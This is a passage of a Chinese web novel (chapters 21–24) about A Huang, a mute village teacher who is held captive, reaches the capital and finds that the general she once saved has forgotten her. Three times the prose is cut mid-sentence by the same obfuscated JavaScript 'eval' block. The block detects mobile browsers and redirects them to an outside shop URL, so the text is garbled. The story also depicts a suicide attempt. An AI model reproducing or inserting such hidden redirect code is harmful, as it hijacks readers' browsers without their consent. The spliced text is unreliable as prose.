此时酒楼深处某个雅间,阿凰蹑手蹑脚地趴在门后面,竖起耳朵仔细听着外面的动静。 她已经被关在这里好几天了,虽然听不到看不到外面有没有人在看守,但她尝试过打开门,纹丝不动。 她醒来的第一天,抬头就看到一个少年坐在椅子上,居高临下地看着她,她想以自己是哑巴为由装傻,可是那人命手下拿来笔墨纸砚让她写字,否则就要剁掉她的手。 不得已,事到如今想装傻也装不了了,阿凰只能写字和少年交流,根本不敢看一眼他充满攻击性的目光。 对方无非就是要她说出独孤凤渊的下落,而阿凰听着外面嘈杂的声音,判断出此处肯定早已远离清水村那边,可她也不敢断定独孤凤渊目前是死是活,还在原地亦或者已经离开。 她便半真半假地写:那天我们滚下山坡,我晕了一会儿才醒来,自己也摔得一身血,还没来得及找到他,就被你的手下抓到了。 少年狐疑地看向几个手下,他们如实汇报那天的情况,他这才暂且信了,可还是半信半疑地盯着阿凰,仿佛要看出什么破绽。 阿凰本以为这就结束了,可少年不肯放她走,反而要好心招待她,给她买了新衣服,一顿好吃好喝,唯独不让她离开这间屋子。 回过神来,阿凰无力地靠在门板上,她不清楚那个少年到底要做什么,若说要软禁逼供,可一日三餐样样不缺,每日都有人准时送来饭菜。 门外又传来脚步声,阿凰本以为是今日送饭的人来了,可一想,时候不对,顿时多了几分警惕,回到桌子边坐好。 门板“吱呀”一声被推开,少年走了进来,旁若无人地坐在阿凰对面。 她不知道他叫什么,只知道他的手下们称呼他为少主。 关了她这么些日子,也查不出个有用的信息,宋清希原本以为,她一个普通人,就这么一直关着她,总会有天受不了的。 可现在一看,她除了每天都战战兢兢的,也看不出别的,更遑论她一个哑巴,真要逼供,就怕弄死了人也不一定能问出个什么,反倒是失去一个得来不易的棋子。 就在今天,宋清希得到一个消息,定西大将军平安无事地回到了京城,还带了个药宗的小医仙。 他这才坐不住了,急着榨干阿凰仅剩的价值。 “从今往后你不用再心惊胆战了,我不会再问你独孤凤渊的下落。”宋清希手臂撑在桌子上,上半身压过来,咄咄逼人。 阿凰以为他从自己身上问不出有用的东西,终于要放弃了,终于要放她走了,却听到他说:“因为独孤凤渊回到京城了,还带了个娇滴滴的女人,你说,你为了他差点丢了性命,此时此刻还被关着,他转头却带了别的女人回家,他会记着你的付出吗?” 捕捉到阿凰眼里的失落,宋清希得逞了,再接再厉:“这么一个负心汉,你一个平凡女子为了他做到如此地步,何苦呢?难道你就不恨他?” 无所谓了,她从未想过要独孤凤渊报答自己,一开始救了他也只是因为看到他快死了,相处下来的发展是水到渠成的,两个人都没有刻意控制,既然如此,她与他再无瓜葛。 阿凰写道:既然你已经得知他的下落,我对你也没有用处了,还请放我一条生路,我只想回到村子里。 宋清希却冷笑一声,说:“你也真是窝囊,自己男人被抢了一点脾气都没有?” 她写:他不是我的,我也不是他的,如今我们只是过路人。 面前的少年无奈了,好像拿她没办法,嗤笑一声,又说:“你也知道现在你就是没有用处的人,那你就不怕我把你处理了?反正,失去作用的东西就该消失,我不介意手上多沾点血。” 本以为又能从她脸上看到惊恐的表情,这一次,阿凰却没那么害怕了,写道:反正我一直叫你放了我也没用,你想杀我,我还有什么办法? 盯着她看了好一会儿,宋清希才恢复嘲弄的神情,说:“原来这就是哀莫大于心死?真有意思。” 阿凰反应平平,他突然就觉得没意思了。 “我现在给你一个救自己的机会。”宋清希道,“你最好祈祷独孤凤渊是个念旧情的人,对你还有一丝感情,你回到他身边,当好你的内应,与我里应外合,你只需要完成我下达的命令,待时机成熟,我自会放你自由。” 要她在独孤凤渊身边当卧底?虽然阿凰还没有真正了解他的身份,更不清楚这个少主的背景,不明白这两个人到底有什么仇恨,潜意识里觉得这个少主不是什么好人,但是要她做卧底,她做不到。 更别提他嘴里的时机成熟放她自由是真是假,不还是他一张嘴说了算。 可是,如果她说她做不到,这个少主会立刻让她去死的吧?一想到他那几个手下,那天被他们抓住的场景,阿凰不敢想象,惹急了他,他会不会就纵容手下对她做出那种事了…… 与其如此屈辱地死去,死前还会被折磨得生不如死,还不如…… 阿凰瞄准了桌子的尖角,一鼓作气,脑袋卯足了劲撞上去。 然而没有想象中的疼痛,她睁开眼,宋清希掐住她的脖子,制止了她的动作,把她往地上一扔。 “想在我的眼皮子底下解脱?”宋清希眸中闪过恼怒之色,“我让你死了吗?” 阿凰整个人像晒干了的花儿,蔫蔫的,垂头坐在地上。 求生不得,求死不能,她只是清水村一个普普通通的平民百姓啊,为什么会惹上这些人? 而宋清希俯视地上的女子,久久未言语。本以为这种弱小的人会很怕死,很惜命,得到一线生机就会出卖一切能出卖的,他却想不到她会如此忠贞,竟为了一个负心汉,宁可寻死也绝不背叛? 发觉安静了太久,阿凰疑惑抬头,宋清希此时说:“我认同你的忠贞,不过我也很好奇,你的顽强能让你坚持多久?” 阿凰不明白,他说:“我暂且放你一马,不过你最好请求老天保佑,不要再遇到我,再有下次,我可不会保证有没有这么好的心情能留你一命。” 她半信半疑,不确定对方是不是在耍自己,等她一逃跑就出手杀了她,可眼下这是唯一的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126065|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会,来之不易,就算是假的她也只能试试。 宋清希转过身去背对着她:“在我转身之前消失在这里。” 跑!拼了命地跑! 一路上都没有人阻拦她,阿凰穿过人群,鼓足一口气漫无目的地逃跑。 很久之后,她再也跑不动了,回过头发现没有人跟着自己,浑身脱力躺倒在地上,脑子里却还是不敢掉以轻心,大脑催促自己继续跑,可是身体已经透支了。 一阵耳鸣,头晕目眩,眼前发黑,她晕了过去。 再次醒来时,阿凰发现自己躺在一张精致的床上,身下的锦被更是她这辈子都没见过的料子,房间里还有淡淡的熏香,似乎是安神的香,她心中感觉十分平静。 她下床穿了鞋子,发现自己身上又换了一套衣装,她虽没见过世面,也看得出来多么精致金贵。 在房间里一边走一边看了会儿,门口有人开了门进来,是一个锦衣华服的少年,面相倒很老实,让阿凰想起了正枫,心中冒出一丝亲切感。 也许是因为离家太远,人生地不熟,下意识把与熟人相似的人当自己人吧。 也不知道正枫怎么样了,不知道街坊邻居们会不会找她费了很多心思,不知道她不在之后,还有人能继续教孩子们吗? “这位姑娘,你醒了?”那少年蹦蹦跳跳地过来,活像个还没长大的孩子,稚气未脱。 阿凰用手比划了一阵,想表达自己不会说话,可以写字,需要纸和笔,那少年看了好久,终于反应过来她说不了话了。 “噢噢!你是要纸笔吗?”少年说着跑了出去,没多久折返,带了需要的东西回来。 两人交流下来,阿凰得知少年是宋府的公子,说可以叫他小宋,而他们此时身处一处客栈之中,小宋是在路上看到了昏迷的她,便把她带到客栈休息。 听了她的经历,小宋倍感同情:“你是不是无家可归啊,要不要去我家?我家里可大了,什么都有,你住一辈子都没关系!” 这是阿凰吃了一路的苦头,第一次遇到这么好的人,心里十分感动,不过她没那么厚脸皮住在别人家里,而且她还惦记着清水村的大家,便向小宋问路,他说从未听闻清水村。 想来也是,京城之中的公子怎么会知道小小一个清水村怎么走呢? 她不知道回去的路,可有一个人一定知道。 心中涌起一阵酸涩,她不知道那个少主说的话只是为了刺激她,还是真的发生了,知道独孤凤渊现在平安地回到京城,她已经放心了,这就足够了,至于他身边有了新欢,她也没办法,他的人生还有很多选择,而她只想回到清水村,过回以前的生活。 阿凰不好意思麻烦人家小宋太久,便要告辞了,可他担心她一个人上路太危险,非要送她。 知道她要去找独孤凤渊,小宋眼里冒出崇拜之色:“原来你和独孤大将军认识啊!他可是京城中所有人都敬仰的人,想见他一面还不容易呢,既然你们认识,我给你带路,正好让我见见大将军!” 出了客栈,有宋府的马车在等着小宋,他催促阿凰上车,自己也紧跟着上来,好像很着急去见自己的偶像。 “出发将军府,驾驾驾!” 22. 联手 马车停在一处府邸前,规模庞大,大门有护卫看守。 小宋先跳下马车,看着阿凰小心翼翼地下来,便带头大摇大摆走向大门,阿凰跟在他身后,抬头看了看匾额上的鎏金字:将军府。 他不仅是将军,也是整个京城敬仰的人,怪不得受仇家所害,身上都是刀剑留下的伤痕,怪不得他说,有不得不离开清水村的理由,他有他的江山社稷要守护。 小宋嚣张的身影被护卫拦在门口,他毫不胆怯,拉了阿凰过来,昂首挺胸说:“知道我们是谁吗?我们可是定西大将军的朋友,快放我们进去。” 时常有人冒充身份来访,有的自称是独孤凤渊的朋友,有的说是远房亲戚,护卫早已习惯了,当下也只是盯着两人,谨慎盘问道:“报上名号来。” 小宋用期待的目光看着阿凰,她想说,问问你家将军记不记得清水村,可是此时没有能写字的东西。 她又想起来,那时独孤凤渊送了她的那枚玉佩,那是她和他之间唯一的信物,此时正好可以派上用场,她正要拿出来,翻遍了身上却怎么都找不到。 护卫一脸“果然如此”,好像早就猜到了结果,驱赶道:“速速离去,闲杂人等休得在此闲游,再不听从,把你们抓起来审问。” 看着护卫手里反光的武器,阿凰不得已扯了扯小宋的衣袖,示意要离开。 直到走出很远阿凰才停下来,捡起树枝在地上写字:我的信物弄丢了,抱歉,让你跟着我去丢人。 一路上小宋都在满头雾水,得知情况,竟也不恼怒,还是选择相信她,要是换作别人,估计已经恼羞成怒,以为她就是个爱慕虚荣的江湖骗子,被拆穿了很丢人。 “信物丢了?这么重要的东西怎么会丢了呢?”小宋道,“你仔细想想是不是落在哪里了,我跟你去找。” 阿凰自己也无法确定玉佩到底在什么地方弄丢了,也许是被追杀的路上,也许是她昏迷期间,也许是还在那个少主手里的时候,她只能祈祷玉佩不要落在少主手里,否则她不敢想象,那么狡猾的人会拿着玉佩去骗独孤凤渊会发生什么事。 她不想把小宋牵扯进这些破事里,只能告诉他自己也不记得了。 而后在他依依不舍的目光中与他道别,说要自己慢慢问路回家。 可是京城实在太大,太过繁华了,阿凰甚至找不到离开京城的路,她又口不能言,打手势别人看不懂,要写字,好不容易被拦下来问路的人又没耐心等她慢慢写字。 举目望去,满目迷茫,这世界那么大,人那么多,阿凰觉得自己很渺小,可是她都那么渺小了,在这个大世界里也没有她的容身之处。 人来人往挤得她头晕目眩,她不小心撞到了一个贵千金,她身旁的侍女正要拿她是问,被贵千金拦下了。 直到被贵千金请进府招待,阿凰吃完精致可口的点心后,喝了一口香醇的茶,感觉这里的一切都像天府一般,看着贵千金面上带着和善的笑容,她心中忐忑。 自从离开村子,遇到的人要么是穷凶极恶的,要么就是热心肠的好人,她不知道贵千金是什么目的,是好是坏。 贵千金原本只是看她可怜,想给她一口吃的,但是听到她说是独自一人来到京城找独孤凤渊的,就改变了主意。 看完阿凰写的内容,贵千金久久未言语,看她喝了茶,像只受惊的兔子一样的神色,贵千金说:“不必紧张,我既然收留了你,就不会害你,你一个人千里迢迢来到这里,属实不容易,我也能理解一个女子独自赴京的不易。” 阿凰起身,学着自己在这里见过的行礼方式向她拜了拜。 “实不相瞒,我就是独孤将军的表妹,独孤槿,你大可以放心住在这里。” 她一愣,看着女子。 身边的下人都被打发出去,屋内只剩她们二人。 独孤槿拿起玉杯赏玩,说:“同时,我也是表哥的联姻对象,我也不怕告诉你,家门落魄后,我不敢确定这门亲事是否还能继续,可为了家族,我不得不维持最后的体面。” 阿凰不明白大户人家的门门道道,只能当个老实的听众。 “你知道吗?表哥回来时带着一个女子,看着恩爱有加,我才意识到,这场联姻岌岌可危,我是家族唯一的体面,我不能输。” 独孤槿握住她的手,一副把她当亲姐妹的模样,说:“你只是想回家,亦或是想回到表哥身边,我都不会干预你,我只希望你能看清局势,我们才是同一边的,我们处于劣势,你若不和我合作,连见到表哥的机会都没有。” 回想起在将军府前吃了闭门羹的场景,阿凰自然明白这个道理。 可她没有夺人所好的癖好,若独孤凤渊有了新欢,两人真心相爱,她会祝福然后远离,慢慢遗忘曾经共处的时光。 退一万步说,她也不认为自己斗得过别人,她甚至连话都说不了。 见她犹豫,独孤槿也不着急,说:“你可以好好考虑,不过,我们的时间可不多了,毕竟表哥看起来那么爱她,等到他们感情深厚,你觉得我们还有机会吗?” 她离去后,阿凰一个人望着窗外,明明这里的一切那么繁华热闹,可是她觉得自己依然不是这个世界的人,她不属于这里。 心中百感交集,她觉得,自己是想家了。 晚上独孤槿请她去同桌吃饭,她想明白了,决定听从安排。 因为目前这是唯一的希望,她只能相信独孤槿,而且,她心里也有话想问独孤凤渊,必须当面,亲自和他说。 独孤槿很是满意,亲自给她夹菜,说:“过两日,我带你去将军府见过表哥,这两天先好好歇着,准备准备。” 阿凰不知道该准备什么,她也没有什么可以准备的,在独孤槿府上住了两日,期间独孤槿一直找她谈话,这天又来找她,一身装扮一看就是精心准备要去见客的。 “走吧。”独孤槿看起来心情很好。 马车内,她与阿凰挨着坐,说:“你不必担心事成之后我会卸磨杀驴,你我二人联手坐稳后宅位置,今后将没有敌人,我们依旧是姐妹,只是,为了家族的体面,我必须是主母,你也会仅次于我之下。” 阿凰不知道什么主母次母的,她只想和独孤凤渊说清楚几句话,然后回清水村。 至于和那位新欢斗?只要不伤天害理,她会听从独孤槿的安排,以此回报她,两不相欠。 很快便又回到将军府前,护卫一看是独孤槿就放行了,看到一边的阿凰,惊讶过后疑惑了会儿。 进了门,小厮去禀报主人来客人了,阿凰跟在独孤槿身后一步的位置,悄悄观察府中的环境,一派贵气。 下人引着她们在会客厅坐下,让她们等候在此。 一盏茶的功夫后,一个身着居家服的男人走来,步履稳健,身躯凛凛,头发束在脑后干净清爽。 经历了这么多磨难之后,终于再度见到他,阿凰一时之间竟无法言语,胸口像堵了一块巨石,她心中有好多委屈想和他哭诉。 可是眼前的男人此刻竟变得有些陌生,他的眼神不再像以前,明明那时的他目不能视,眸中竟也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126066|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能带上温柔与疼爱,可是此时,他看着阿凰,像看到一个漠不相关的过路人,只给了她一个扫视的眼神。 也就因为独孤槿是他表妹,他才拿出一些客套来,说:“你怎么来了,还带了客人?” 察觉到阿凰出神了,独孤槿清了清嗓子提醒她,然后说:“突然来访,还请表哥见谅,这位姑娘是我偶然遇到的,名叫阿凰,说是表哥的朋友,来自清水村,前几日便来到门前求见,被护卫当做闲杂人等赶走了。” 闻言,独孤凤渊回忆起来,前几日是有下属说,府外来了一男一女,自称是他朋友,说不出自己的来头就被护卫赶走了。 他看着阿凰,眯了眯眼睛:“哦?可为何我毫无印象,自己还有这么一位友人?至于清水村,我也从未去过。” “表哥,阿凰口不能言,可以写字交流。”独孤槿说。 独孤凤渊便命人拿来笔墨纸砚,放在阿凰身边的桌子上。 可她提起笔,却发现自己的手在微微发抖,她的大脑也一片空白,明明有很多话想说,却一个字都写不出来了。 一个人,真的可以这么快就忘了自己几个月的经历,忘了朝夕相处的另一个人,完全变成陌生人吗? 为什么能这么轻易地做到呢?竟忘得如此彻底? 为什么不记得…… 阿凰不可置信,觉得他一定是中邪了。 墨水滴在纸上,晕染开一大片漆黑的痕迹。 独孤槿意识到她状态不对劲,有点急了,凑近说:“阿凰?把你想说的话写出来啊。” 迎上独孤凤渊质疑的目光,阿凰提笔写了几个关键字:清水村,笛声,学堂,手心,牛车。 最后,她犹豫片刻,写下最后一个词汇:金萼果。 独孤凤渊看着那几个字,竟也愣住了,好像在大脑深处,似乎有一段缺失的记忆被尘封起来。 可是任凭他怎么回忆都捕捉不到任何记忆,甚至回忆到最后,脑海里出现的是被顾纯儿救下的场景。 为了抚平心中那股烦闷,还有那不可言说的慌乱不定与迷茫,他抓起桌上的纸,撕碎了随意一挥手撒在地上。 “表、表哥?”独孤槿也有点慌了,不敢琢磨他的想法,甚至开始怀疑起自己的决定。 阿凰放下毛笔,收回手继续坐着,这个时候,她居然平静了许多。 也许是破罐子破摔的心态吧,反正他也不记得了,她已经尽力了,再没有别的办法了,唯一的玉佩还找不到了。 她还想质问:你真的不记得了吗?真的一丝一毫的回忆都没有了吗? 可是她突然觉得,事到如今,一切都是无用功,他的眼神那么冷漠,再也不是那个人了,她好像在与他分开的这段时间里,把他弄丢了,随着那枚玉佩的丢失彻底失去了他。 独孤槿见气氛如此怪异,出声打破沉静:“表哥,我知道你贵人多忘事,不过你再想想……” “不必了。”独孤凤渊打断了她,“既然你们如此确定,那就留下来吧,也许日子久了,我慢慢就会想起来。” 目的达成,独孤槿以微笑掩盖喜悦,而阿凰只是低着头,好像没什么反应。 独孤凤渊只觉得这又是一个江湖骗子,人在高位,这样的事见多了。 一方面,他本就抗拒和独孤槿的联姻,早就想解开,自从顾纯儿来了之后,他就更想推脱这门亲事,若不是父母之命…… 既然这个阿凰是独孤槿送来的,他断定了是故意安插过来的,倒要看看她们想耍什么把戏,暂且留下观察。 23. 排挤 这是阿凰住在将军府的第七天。 这七天里,除了来给她送饭的仆人们,还有几个看守她的,她谁也见不到,她的活动范围只有自己的住处,她想了想,自己好像被幽禁了。 自从把她留在府中,独孤凤渊好像就忘了她这个人,至于那位小医仙,她至今也还没见过一面。 而独孤槿是一个很注重名声和体面的人,还未正式婚嫁,她只能时不时过来串门,并不住在将军府,可是这七天阿凰也没见到她,不知是不是被拦下了。 “那个丑女怎么还赖着不走?我还是第一次见到这么大的胎记长在人脸上。”说话的人声音中是抑制不住的笑意。 “你小声点,别被她听到了,毕竟也是将军的客人。” “听到了又怎样?那个哑巴也没法告状,还客人?你看这么久将军来看过她一次吗?估计又是哪来的落魄远房亲戚,将军不好赶走,只能留下了。” “落魄远方亲戚这句你少说点,表小姐可是将军的联姻对象,未来的夫人,被有心人听了去,等表小姐入府有你受的。” “得了吧,她多半也是个空架子,这么久以来将军见她的次数屈指可数,更别提现在来了个顾姑娘,她们两个人加起来都没有顾姑娘一根手指头厉害,还不如趁着她和将军恩爱,赶紧讨好她。” 直到那两个人走远了,阿凰还站在原地。 是啊,她就是个哑巴,还长得丑,怎么敢高攀堂堂定西大将军呢?他身边随便挑出一个女人都比她厉害,那位小医仙顾姑娘,虽还没见面,阿凰听着这些人的话,耳濡目染,脑海里已经绘制出一个悬壶济世的仙女。 不知不觉阿凰又走到门口,旁边看门的丫鬟拦住她的去路,语气没有任何感情色彩:“姑娘,将军吩咐让你好好待在院子里,还请不要为难奴婢。” 她只是想走走,什么也没做,并没有要为难任何人的意思,上一次被告知没事别乱走之后,她就自觉地在自己的住处逛。 阿凰转身回去,却听到后面传来了丫鬟们谈论的声音。 “真麻烦,不会说话就老老实实呆着,总是乱跑干什么?又没人看得懂她在比划什么,还得严加看管,跟防贼似的。” 另一个也说:“还真说不定是个贼呢,否则怎么要看这么紧?反观顾姑娘,一来府里就享受女主人的待遇,将军的心思还不够明显吗?这哑巴还能待下去,也是个能人。” “无非就是爱慕虚荣,看她那寒酸样,来了府里见到这么多好东西,哪里还舍得走?不会还妄想着当上将军夫人的美梦吧?” 她们的声音越来越高,肆无忌惮,好像故意要让阿凰听到似的,她不是泥人,也是有脾气和自尊的,无故被人这么口诛笔伐,不知道的以为她真的杀人放火了。 她想骂人甚至都骂不了。 愤怒和屈辱过后就是委屈,为什么在这些人嘴里,她成了一个爱慕虚荣不要脸的人?现在的她和囚犯有什么区别?明明什么也没享受,却要背负骂名。 可是在清水村,她也是个受人敬爱的教书先生啊。 院子外的假山后面,一个女子看着这一切,面无表情地离开,兜兜转转后走到了顾纯儿面前,与她耳语几句。 “姑娘,要去看看吗?”女子机械地动唇说话,竟是之前的蝴蝶精,装扮成了顾纯儿的贴身丫鬟。 顾纯儿正在查看书信,看起来心情不错,嘴角勾着笑,声音甜美,说话却是天真的残忍:“暂时不用,你们再接再厉,切记不可操之过急,毕竟,兔子急了也是会咬人的。” 忽然听到外面的脚步声,她迅速把书信都收起来,独孤凤渊刚走到门口就看到她未掩盖干净的慌乱。 “你来啦。”顾纯儿主动迎上来,面色如常,撒娇地抱住他的手臂,“我听说府里来了个客人,怎么不告诉我?我也想见见。” 独孤凤渊宠溺地看着她,忽略刚才的不对劲,说:“随你,只是那人不能言语,沟通困难,你乐意就去吧。” “嗯嗯!”顾纯儿靠着他的胸膛,声音甜蜜,在他看不见的角度,她眼中毫无笑意。 沉默片刻,独孤凤渊试探着问:“知道我留了陌生女人在府中,不告诉你,你会吃醋吗?” “唔……”她思考着拉长了尾音,“我会为了你学着做一个大度的女人。” 闻言,独孤凤渊感觉心中都软了一角,抱紧她:“你真的很好,遇到你是我三生有幸。” …… 日光正好,阿凰坐在屋檐下发呆。 这处院子说大也不大,她一整天都没事做,就到处乱走,早就把这里摸透了,又变得无聊了。 她想写写字,想画画解闷,可是她不被允许碰到纸笔,就连她的笛子也早就找不到了。 “有人吗?” 甜美的少女声音带着探究,阿凰看去,见到一个女孩探头探脑的,见了她,少女小跑过来,蹦蹦跳跳的,动若脱兔。 阿凰下意识站起来,她知道,在这里任何一个人的地位都比她高,她惹不起。 “我叫顾纯儿,你是?” 这就是顾纯儿?那位小医仙?仆人们天天挂在嘴里天仙一般的顾姑娘? 面前的少女虽是普通人的长相,可她身上的衣装一看就是最好的料子,非富即贵。 阿凰低头在地上找点能写字的石子,终于看到一颗,便写了自己的名字。 “你不会说话呀?没关系,我说就好了,不过你会写字啊,这里没有纸和笔给你用吗?” 阿凰点头。 “那我去找一些给你用!” 还不等阿凰反应,顾纯儿飞快跑出去,很快就回来了,把笔墨纸砚带齐全送给她。 她连连点头,用口型说谢谢,她自己闷在这里都要闷死了,感觉用不了多久就要疯掉,顾纯儿这时候带了纸笔来,无疑是雪中送炭。 看着她激动的样子,顾纯儿笑说:“不必客气,以后有什么需要的找我就好啦!” 阿凰写字表达谢意,顾纯儿夸赞:“你的字真好看啊。” 她怕有上顿没下顿,格外珍惜这些纸笔,不舍得再用了。 顾纯儿似乎没发现,说:“你自己呆在这里不无聊吗?她们都不敢和我玩,说我是客人,你也是客人,正好我们一起玩吧。” 阿凰想说自己不能离开院子,却已经被顾纯儿拉着手跑出去,竟然没有人拦着。 有地位真好啊。 她想起来之前仆人说的话,心里对顾纯儿的印象更深刻了,不仅话语权很高,为人还特别开朗和善。 自从有了这一天,后来顾纯儿就经常来找阿凰玩,渐渐的,看人下菜碟的仆人开始看守得不那么紧了,阿凰甚至可以自己出院子玩了。 只是她的纸笔很快就用完了,她不好意思跟顾纯儿提,对方也没发现,不过现在她也不需要写字作画打发时间了。 可是过了几日顾纯儿都没来找阿凰玩,她惴惴不安,是自己不小心惹她不高兴了,还是她太忙了? 等了两天,阿凰决定去看看她。 去往顾纯儿院子的路上,竟没看到有什么人,她也很顺利地一直往里走。 忽然听到一声惊喜的声音,少女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126067|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜美的声音传来:“好漂亮的湖!天呐,湖水是碧蓝色的,这是怎么做到的?” “湖底铺了蓝宝石,清澈的湖水倒映着阳光,会呈现出更纯粹的碧蓝色。”男人的声音无比温柔。 以顾纯儿的得宠程度,阿凰早就从仆从们嘴里听说了,独孤凤渊斥巨资在顾纯儿的院子里打造了一面湖。 “这是什么花,我怎么从未见过?”顾纯儿又惊喜地叫了一声,“好漂亮的鸳鸯!咦,它们游过来了。” 她蹲下去伸出手,两只鸳鸯自觉地让她触碰。 “天呐!它们好乖,它们听得懂人话?” “这些花是我去山上与道长求来的,可永生不败,会永远开在你的院子里,你随时可以看得见。” 顿了顿,独孤凤渊满目深情,继续说:“这对鸳鸯乃邻国进贡,最为灵性,陛下赏赐于我,说,得者可得美人心,与真心相爱之人恩爱两不疑。” 顾纯儿不好意思地低着头,说:“谢谢你,从来都没有人能对我这么好。” “你我之间何必言谢?”独孤凤渊将少女牵着手拉起来,单手拥入怀中,“我的感情不求回报,只需要心爱之人看得到就足矣。” 她跳起来双臂圈住他的脖子,他站得很直,纹丝不动地接住她,两人四目相对,鼻对鼻眼对眼,距离极近。 她感动得甚至要哭出来:“你真好!” 碧蓝色的湖面上倒映着亭子里的那对男女,如胶似漆,亭子边上一对鸳鸯并行游动。 后来发生了什么阿凰不知道,也不想知道,她已经逃离现场,整个人大脑都是空白的,早已无法思考,唯一的知觉就是心口好闷,喉咙也闷,酸涩发哑。 她突然有点庆幸,自己是个哑巴,否则那种场景不小心哭出来,被发现就糟了。 她就像偷了东西的小偷,怕被人逮住似的一直逃,跑了好远。 他真的忘了,彻底忘了她,忘了曾经的一切,他眼里只有顾纯儿。 清水村那几个月好像只是她的一场美梦,醒来后只有她一个人知道,显得像个笑话。 她想告诉独孤槿,她们没有任何一点胜算,要不就算了吧,让她回到村子里吧,她真的没有一点办法,她不知道该怎么办,她一点也不想留在这里。 她头一次想做一个背弃承诺的人,放弃和独孤槿合作,不想回报答应她的事了。 阿凰原本觉得,只要她独处,什么都看不到,就不会那么痛苦了,给她一点时间调理心态,放过自己,可是第二天,顾纯儿照常来找她。 还摘了一朵湖里的花。 “湖里新开的花长得不错,很香呢,女孩子都是爱花的,所以我想你应该也喜欢,就摘了一朵带来给你。”顾纯儿伸出手,花儿躺在她手心,已经有点蔫儿了。 花儿只有生长在原本的地方才能热烈绽放,一旦摘下来,很快就会失去活力。 阿凰忽然觉得,自己的生命也和这朵花一样,在清水村就轻松自在,一旦离开村子,来到人生地不熟的京城,就再也开心不起来,这段时间里,她几乎没有几天是放松的。 也许,很快她会就和这朵花一样,闷闷不乐,郁郁而终吧。 “阿凰?”顾纯儿疑惑地唤她。 阿凰伸手接过花朵,捏了捏已经皱巴的花瓣,勉强扯出来一丝笑容,用口型说:谢谢。 顾纯儿一点也没察觉她的情绪低落,笑靥如花:“我就知道你一定会喜欢,既然你很喜欢,没事可以去我那边亲自看,它开在湖里的样子极美。” 阿凰此时没心思应付她,只是点点头。 24. 悲喜交加 不知是不是顾纯儿的作用,阿凰现在行动自由了许多,独自出门也没人阻止。 她漫无目的地走在人群中,产生了迫切想离开这里的想法,哪怕回不到清水村也可以,只要能离开这里,甚至不想管和独孤槿的约定了。 “阿凰!”有人在身后喊,然后跳到她面前,是好一段时间不见的小宋。 他惊喜又疑惑:“你不是要自己问路回家吗?怎么还在这里?” 阿凰张了张嘴,他说:“我知道我知道,先去找个地方坐坐,给你纸笔。” 来到一家酒楼,这里的客流量显然没有四季酒楼多,规模中等,不过分吵闹,正好。 台上的戏班子正在咿咿呀呀地表演,阿凰此时无心观看,写了字与小宋大概说了一下,许多细节并不明说,所以他也只知道她被好心人收留了。 讲了没几句话,小宋就要离开了,说是父亲喊他回去,否则会挨揍的。 又剩下阿凰自己一个人,她原本也是出来散心的,看着戏班子,很快就被内容吸引住,这是一个丈夫薄情,从没发现妻子不易,甚至为了拉拢帮手与别的女人往来的故事,想回头妻子已然和离归家。 何必呢?早知如此何必当初。 “可这世上,又有多少女子能够做到与丈夫和离潇洒离去的……” 另一边传来极小声的声音,听着像是自言自语,阿凰看去,一个女子同样独自坐在桌边,状态极其萎靡。 这里的人本就不多,戏演完了人们渐渐走得差不多了,就剩阿凰和那个女子。 她莫名地好奇起来,看着那个女子,对方开始自斟自饮,她怕她一个人喝醉了在这里不太安全,就继续坐着看着她。 良久,女子抬起头来,脸上有未干的泪痕,她发现了还有另外一个人,看了过来。 “你喝酒吗?” 阿凰摇摇头。 “方才的戏好看吗?” 阿凰犹豫,故事无疑是令人感同身受的,可是太悲伤了。 “那是我点的戏。”女子又说。 阿凰不知道该说什么,女子看起来太悲伤了,再结合她点的戏,一定是有不容易的故事吧,所以才独自在此买醉。 “你有没有想看的戏,想吃的东西,我请你。”女子醉醺醺的,撑着脑袋靠在桌子上,阿凰怕她摔了,走到她身边,写字安慰她。 “你也是个苦命人,何必安慰我呢?”女子自嘲地笑了笑,“我觉得自己命苦,可这世上比我苦的人那么多,我有什么好哭的?不许哭!” 阿凰写:每个人都有自己的苦,苦难不值得比较,不会因为谁更苦,没那么苦的人就不苦了。 女子又笑了,这次是发自内心的笑:“你倒看得通透,你叫什么名字?” 看到她写的字,女子说:“我叫徐子岑,你是不是在好奇为何我一个女子独自在这里看戏买醉?呵,别人都羡慕我嫁了一个好丈夫,赚那么多钱的同时还能顾家,我原本也以为我会一直这么幸福下去。” 她倒了杯酒,并不立刻喝,拿在手中观赏:“直到他经常与一女子来往,说为了生意往来,让我别多想,别人也都劝我懂事,不要无理取闹……换作你,你会开心吗?” 